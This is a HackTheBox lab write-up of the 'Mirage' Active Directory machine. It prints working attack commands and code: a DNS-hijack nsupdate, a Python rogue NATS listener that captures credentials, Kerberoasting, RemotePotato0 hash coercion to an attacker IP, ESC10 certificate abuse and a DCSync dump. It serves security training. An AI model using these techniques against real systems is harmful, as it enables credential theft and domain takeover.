HTB: Mirage Writeup
Mirage - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Mirage |
| OS | Windows |
| Difficulty | Hard |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.10.11.X |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Mirage is a hard Windows Active Directory box gated entirely behind Kerberos — NTLM is disabled domain-wide, so every foothold and lateral move has to go through krb5 ticket handling instead of the usual pass-the-hash shortcuts. The chain opens on an anonymously-mountable NFS export leaking internal pentest reports, pivots through an insecure Dynamic DNS update to stand up a rogue NATS server, harvests credentials out of the resulting client CONNECT handshake and an NATS JetStream auth_logs stream, Kerberoasts a service account for the initial WinRM foothold, steals a second user’s NetNTLMv2 hash out of a concurrent RDP-style console session via RemotePotato0, abuses IT_SUPPORT DACL rights to revive a disabled account, reads a gMSA password, and finally lands Domain Admin through an ADCS ESC10 certificate-mapping abuse.
TL;DR: Anonymous NFS → insecure DNS update → rogue NATS listener steals Dev_Account_A creds → NATS auth_logs stream leaks david.jjackson → Kerberoast nathan.aadam → WinRM foothold (user.txt) → RemotePotato0 cross-session hash theft on mark.bbond → IT_SUPPORT DACL abuse re-enables javier.mmarshall → gMSA Mirage-Service$ NTLM read → ESC10 UPN-mapping abuse impersonates a privileged account → DCSync (root.txt).
Reconnaissance
Port Scanning
# Windows AD DC — Kerberos, LDAP, DNS, plus the two interesting off-the-shelf servicesnmap -sC -sV -T4 -p- 10.10.11.XResults (key ports):
| Port | Service | Notes |
|---|---|---|
| 53 | DNS | Domain nameserver for mirage.htb |
| 88 | Kerberos | Confirms Domain Controller |
| 111/2049 | rpcbind/NFS | Anonymous export present |
| 135/139/445 | RPC/SMB | NTLM disabled — Kerberos-only |
| 389/636/3268/3269 | LDAP/LDAPS/GC | Standard AD |
| 464 | kpasswd | Password-change service |
| 4222 | NATS | Non-default — internal messaging bus exposed externally |
| 5985 | WinRM | Kerberos auth only |
The combination of Kerberos + LDAP + DNS immediately flags this as a DC. The two services that don’t belong on a stock DC — NFS (2049) and NATS (4222) — are the box’s actual attack surface; everything else is just normal AD plumbing.
Service Enumeration
# Anonymous NFS export enumerationshowmount -e mirage.htb# Export list for mirage.htb:# /MirageReports (everyone)
mkdir MirageReportssudo mount -t nfs -o rw,vers=3 mirage.htb:/MirageReports MirageReportsls MirageReportsThe export contained pentest-style PDF reports. Reviewing them surfaced two critical findings the “internal pentest” had flagged but the environment never remediated:
- A missing DNS A record for
nats-svc.mirage.htb(the hostname the NATS clients expect to resolve). - The DNS zone’s Dynamic Updates setting is
Nonsecure and secure— meaning unauthenticated clients can add or overwrite records.
Vulnerability Assessment
- Anonymous NFS export — no
sec=restriction, readable by anyone. - Insecure Dynamic DNS Updates — no authentication required to add zone records (misconfiguration, not a CVE).
- NATS server trusts DNS blindly — clients resolve
nats-svc.mirage.htband connect without pinning a host key/cert, so whoever owns that DNS name owns the “server” side of the handshake.
Initial Foothold
Exploitation Path
Step 1 — Weaponize the insecure DNS update.
# Point the missing nats-svc record at our own attacker boxnsupdate> server 10.10.11.X> zone mirage.htb> update add nats-svc.mirage.htb 10 A 10.10.15.180> sendBecause the zone accepts unauthenticated updates, this silently redirects every NATS client on the domain toward our IP the next time they resolve nats-svc.mirage.htb. This works because Windows DNS’s Nonsecure and secure dynamic update mode does not distinguish between “authenticated AD-integrated client” and “anonymous host on the wire” for that setting — it just accepts the update.
Step 2 — Stand up a rogue NATS listener.
The stock nats-server redacts the pass field from its CONNECT log output, so instead of chasing that (or fighting a packet capture the way the standard approach does), a small raw Python TCP listener on port 4222 was used to log the entire CONNECT frame verbatim before any NATS protocol logic strips it:
# tiny NATS-protocol-aware listener — logs the raw CONNECT payload unredactedimport socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)s.bind(("0.0.0.0", 4222))s.listen(5)print("[*] rogue nats-svc listener up")
while True: conn, addr = s.accept() print(f"[+] connection from {addr}") conn.sendall(b'INFO {"server_id":"rogue","version":"2.11.4","proto":1,"auth_required":true}\r\n') data = conn.recv(65535) print(data.decode(errors="replace")) # full CONNECT JSON, password included conn.close()The client’s CONNECT handshake arrived with credentials in the clear:
CONNECT {"verbose":false,"pedantic":false,"user":"Dev_Account_A","pass":"hx5h7F5554fP@1337!","tls_required":false,...}This works because NATS clients authenticate at the protocol layer on first connect, before any TLS or mutual verification is negotiated — there’s nothing binding the DNS name to a specific server identity, so redirecting the name is enough to become “the server” from the client’s perspective.
Step 3 — Pivot the harvested creds into the real NATS server and read its streams.
# Point nats-svc back at the real DC now that we have creds, and query it directlynats -s nats://mirage.htb:4222 stream ls --user Dev_Account_A --password 'hx5h7F5554fP@1337!'# auth_logs stream present
nats -s nats://mirage.htb:4222 stream view -a --user Dev_Account_A --password 'hx5h7F5554fP@1337!'# {"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}JetStream streams persist historical messages, so auth_logs acted as an unintentional credential archive — every auth event an internal service ever logged to that subject was still replayable.
Step 4 — Kerberoast for a WinRM-capable account.
With david.jjackson valid domain creds (verified over Kerberos, since NTLM is disabled), BloodHound-style enumeration surfaced nathan.aadam as SPN-registered (Kerberoastable):
impacket-GetUserSPNs -dc-ip 10.10.11.X -dc-host dc01.mirage.htb -k -request \ -user NATHAN.AADAM 'mirage.htb/david.jjackson:pN8kQmn6b86!1234@'# $krb5tgs$23$*nathan.aadam$MIRAGE.HTB$...
john --wordlist=/usr/share/wordlists/rockyou.txt nathan_hash# 3edc#EDC3 (nathan.aadam)Kerberoasting works because any authenticated domain principal can request a service ticket for any SPN-registered account, and that ticket is encrypted with the service account’s NTLM hash (RC4/etype 23) — crackable fully offline once exported.
Step 5 — WinRM foothold.
Since NTLM is disabled, WinRM auth has to go over Kerberos:
# Build a krb5.conf pointing at the realm, request a TGT, then hand the ccache to evil-winrm-pyexport KRB5_CONFIG=Mirage.confimpacket-getTGT mirage.htb/nathan.aadam:'3edc#EDC3'export KRB5CCNAME=nathan.aadam.ccache
evil-winrm-py -i 10.10.11.X -k# nathan.aadam@MIRAGE.HTB session establisheduser.txt captured on nathan.aadam’s desktop.
Privilege Escalation
Cross-session NetNTLMv2 theft (mark.bbond)
Enumeration from the WinRM shell found mark.bbond had an active console session alongside nathan.aadam’s. RemotePotato0 abuses the DCOM/RPC OXID resolver to coerce that other logged-on session into authenticating back to an attacker-controlled listener, leaking its NetNTLMv2 response:
# Load RunasCs to confirm the concurrent sessionInvoke-RunasCs -Username <lowpriv> -Password <pw> -LogonType 9 -Command qwinsta# mark.bbond console ActivePort 135 was already held by another engagement on the redirector, so instead of a plain listener, a source-scoped iptables DNAT hairpin was used to redirect the DCOM callback traffic to the actual RemotePotato0 listener port without clobbering the box’s existing 135 usage:
# DNAT rule scoped to the target's source IP only — hairpins its 135 traffic to our real listener portsudo iptables -t nat -A PREROUTING -s 10.10.11.X -p tcp --dport 135 -j DNAT --to-destination 127.0.0.1:9999.\RemotePotato0.exe -m 2 -s 1 -x 10.10.15.180 -p 9999# [+] User hash stolen!# mark.bbond::MIRAGE:...:...:0101000000000000...john --wordlist=/usr/share/wordlists/rockyou.txt mark_hash# 1day@atime (mark.bbond)This works because DCOM activation requests from an already-logged-on session will authenticate to whatever endpoint claims the OXID resolver role — RemotePotato0 impersonates that role locally and forces the victim session to hand over a crackable NetNTLMv2 blob instead of a full ticket.
DACL abuse: reviving javier.mmarshall
mark.bbond is a member of IT_SUPPORT, which holds extended rights over the disabled javier.mmarshall account: User-Force-Change-Password, WriteProperty on User-Account-Control, and WriteProperty on Logon-Hours. All three were required, not just the password reset — the account was disabled and its logon-hours were empty:
# Kerberos ticket for mark.bbond, then abuse each right in turnimpacket-getTGT mirage.htb/mark.bbond:'1day@atime'export KRB5CCNAME=mark.bbond.ccache
# 1) Force-change the password (User-Force-Change-Password extended right)# 2) Clear the ACCOUNTDISABLE bit (WriteProperty on userAccountControl)# 3) Set logonHours to 0xFF (all hours) — otherwise auth still fails outside the allowed windowA disabled account with a freshly-reset password still can’t authenticate — userAccountControl’s ACCOUNTDISABLE flag has to be cleared explicitly, and an empty logonHours attribute silently blocks Kerberos pre-auth even when the account is enabled. IT_SUPPORT’s three separate ACEs map exactly onto the three blockers.
gMSA password read
With javier.mmarshall alive, BloodHound-style ACL review showed the account holds ReadProperty on msDS-ManagedPassword for the gMSA Mirage-Service$ — meaning it can read that service account’s current, AD-managed NTLM hash directly out of LDAP, no cracking required (gMSA passwords are 240-byte random blobs, not crackable in practice).
ESC10 (Case 2) — certificate mapping abuse to Domain Admin
The Mirage-Service$ gMSA itself holds WriteProperty over the Public-Information property set on mark.bbond — which covers userPrincipalName. Combined with the CA’s configuration (UPN mapping enabled, Certificate Binding set to Compatibility rather than Full Enforcement), this is a textbook ESC10 Case 2 condition from the Certified Pre-Owned research: when explicit altSecurityIdentities mapping is absent, Schannel/PKINIT falls back to matching the certificate’s UPN against a user’s userPrincipalName attribute — not the immutable objectSid.
# As Mirage-Service$, rewrite mark.bbond's UPN to collide with a privileged account's UPN# (Public-Information WriteProperty covers userPrincipalName)
# mark.bbond already holds ordinary enrollment rights on a client-auth template, so request# a certificate as mark.bbond while its UPN is pointed at the privileged account:certipy-ad req -u 'mark.bbond@mirage.htb' -p '1day@atime' -k \ -ca 'mirage-DC01-CA' -template 'User' -dc-ip 10.10.11.X
# Authenticate with the resulting cert — the KDC/Schannel maps by UPN (weak binding),# so this session lands as the privileged account instead of mark.bbondcertipy-ad auth -pfx mark_bbond.pfx -dc-ip 10.10.11.XBecause the CA is not enforcing strong (SID-based) certificate mapping, authenticating with this certificate resolves to whichever account’s UPN was collided into mark.bbond’s attribute — granting a session as a Domain Admin-equivalent principal. From there:
# Domain Admin equivalent session → dump the domainimpacket-secretsdump -k -no-pass mirage.htb/administrator@dc01.mirage.htb -just-dcroot.txt captured via the DCSync’d session.
Attack Chain Summary
Anonymous NFS mount (/MirageReports) → pentest PDFs reveal missing nats-svc DNS record + insecure dynamic updates → nsupdate: hijack nats-svc.mirage.htb → attacker IP → rogue Python NATS listener captures Dev_Account_A creds (unredacted CONNECT) → NATS auth_logs JetStream stream leaks david.jjackson creds → Kerberoast nathan.aadam (SPN HTTP/exchange.mirage.htb) → cracked offline → WinRM foothold as nathan.aadam → user.txt → mark.bbond has concurrent console session → RemotePotato0 (DCOM/OXID coercion, iptables DNAT hairpin around busy port 135) → mark.bbond NetNTLMv2 → cracked offline → IT_SUPPORT DACL abuse: force password + clear ACCOUNTDISABLE + set logonHours=0xFF → javier.mmarshall revived → reads Mirage-Service$ gMSA NTLM hash → Mirage-Service$ WriteProperty(Public-Information) rewrites mark.bbond's UPN → ESC10 Case 2: weak cert-to-account UPN mapping → cert auths as privileged account → DCSync → root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Port/service discovery |
showmount / mount (NFS) | Anonymous NFS export enumeration |
nsupdate / dig | Insecure Dynamic DNS record injection & verification |
| Custom Python listener | Unredacted NATS CONNECT credential capture |
nats (natscli) | NATS account/stream enumeration and JetStream replay |
Impacket (GetUserSPNs, getTGT, secretsdump) | Kerberoasting, TGT requests, final DCSync |
john | Offline cracking of Kerberoast hash and NetNTLMv2 hash |
evil-winrm-py | Kerberos-authenticated WinRM shell |
| RunasCs / PowerShell | Session enumeration (qwinsta) |
| RemotePotato0 | DCOM/OXID-based cross-session NetNTLMv2 theft |
iptables (DNAT) | Source-scoped port-135 hairpin around a conflicting listener |
certipy-ad | ESC10 certificate request/auth abuse |
Key Learnings
Techniques Practiced
- Anonymous NFS enumeration for lateral intel (leaked internal pentest reports)
- Insecure Dynamic DNS update abuse to hijack internal service discovery
- Rogue service impersonation to capture credentials in cleartext protocol handshakes
- NATS server/CLI enumeration, including JetStream stream replay as a credential-archive attack surface
- Kerberos-only environment operations (krb5.conf, ccache,
-kthroughout) - Kerberoasting and offline TGS cracking
- Cross-session credential theft via DCOM/RPC coercion (RemotePotato0)
- Active Directory DACL abuse chained across three distinct extended rights/attributes
- gMSA password disclosure via LDAP read rights
- ADCS ESC10 (weak certificate-to-account mapping) abuse to impersonate a privileged principal
Lessons Learned
- “Auth_required”: true does not mean “server identity verified.” NATS (and similar pub/sub protocols) authenticate the client to the server, but nothing here verified the server to the client — owning DNS resolution was enough to become a trusted endpoint.
- DNS dynamic update settings deserve the same scrutiny as any other unauthenticated write primitive.
Nonsecure and secureon an AD-integrated zone is effectively “anyone can rewrite service discovery.” - Disabling an account doesn’t erase the DACL rights that point at it.
javier.mmarshallbeing disabled didn’t matter once IT_SUPPORT’s three separate write rights were exercised in sequence. - Concurrent sessions are a live attack surface, not just a debugging inconvenience. A held console session is exactly the trigger RemotePotato0-style coercion needs.
- ESC10’s Case 2 shows why UPN-based certificate mapping is dangerous whenever ANY account has write access to another’s
userPrincipalName. Full Enforcement mode (SID-based binding) exists precisely to close this gap.
References
- 0xEr3bus, “Mirage” — HackTheBox Writeup (10 Nov 2025) — used here for conceptual explanation of insecure Dynamic DNS Updates, NATS server/CLI mechanics, the IT_SUPPORT DACL chain, and the ESC10 Case 2 certificate-mapping mechanism. All IPs, credentials, command output, and tooling choices above are from this run’s own solve, not the reference.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>